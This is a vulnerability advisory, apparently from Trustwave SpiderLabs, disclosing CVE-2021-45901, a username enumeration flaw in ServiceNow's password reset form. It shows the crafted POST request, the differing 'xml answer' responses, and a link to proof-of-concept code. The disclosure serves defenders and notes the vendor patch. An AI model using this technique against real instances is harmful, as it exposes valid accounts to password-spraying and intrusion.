Trustwave's 2024 Financial Services Threat Reports Highlight Alarming Trends in Insider Threats & Phishing-as-a-Service. Learn More

Trustwave's 2024 Financial Services Threat Reports Highlight Alarming Trends in Insider Threats & Phishing-as-a-Service. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

ServiceNow - Username Enumeration Vulnerability (CVE-2021-45901)

During a recent engagement Trustwave SpiderLabs discovered a vulnerability (CVE-2021-45901) within ServiceNow (Orlando) which allows for a successful username enumeration by using a wordlist. By using an unauthenticated session and navigating to the password reset form, it is possible to infer a valid username. This is achieved through examination of the HTTP POST response data initially triggered by the password reset web form. This response differs depending on a username's existence.

This type of vulnerability can be used to chain together further attacks, such as password spray attacks, using known valid usernames.

ServiceNow is a highly utilized productivity management platform and in many cases is accessible via public domains. ServiceNow has patched this issue and recommends users update to ServiceNow (Rome) or later.

Example

The following illustrates the observable discrepancies within the HTTP Response POST Data which is used to infer a valid vs non-valid username. The section to pay attention to is the 'xml answer' value, where in a valid response the value will be 200 and an invalid response the value will be 500.

HTTP Request

POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0

[--- some fields cut for clarity ---]

sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default

HTTP Response for a Valid Username

HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false

[--- some fields cut for clarity ---]

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

HTTP Response for a Invalid Username

HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false

[--- some fields cut for clarity ---]

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

As a part of Trustwave’s Responsible Disclosure Policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. The vendor's recommendation is to upgrade to Servicenow (Rome) which utilizes a simple captcha to assist in guarding against the vulnerability.

The following illustrates the custom script Trustwave SpiderLabs used to showcase the vulnerability against a susceptible endpoint.

 

POC code: https://github.com/9lyph/CVE-2021-45901

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo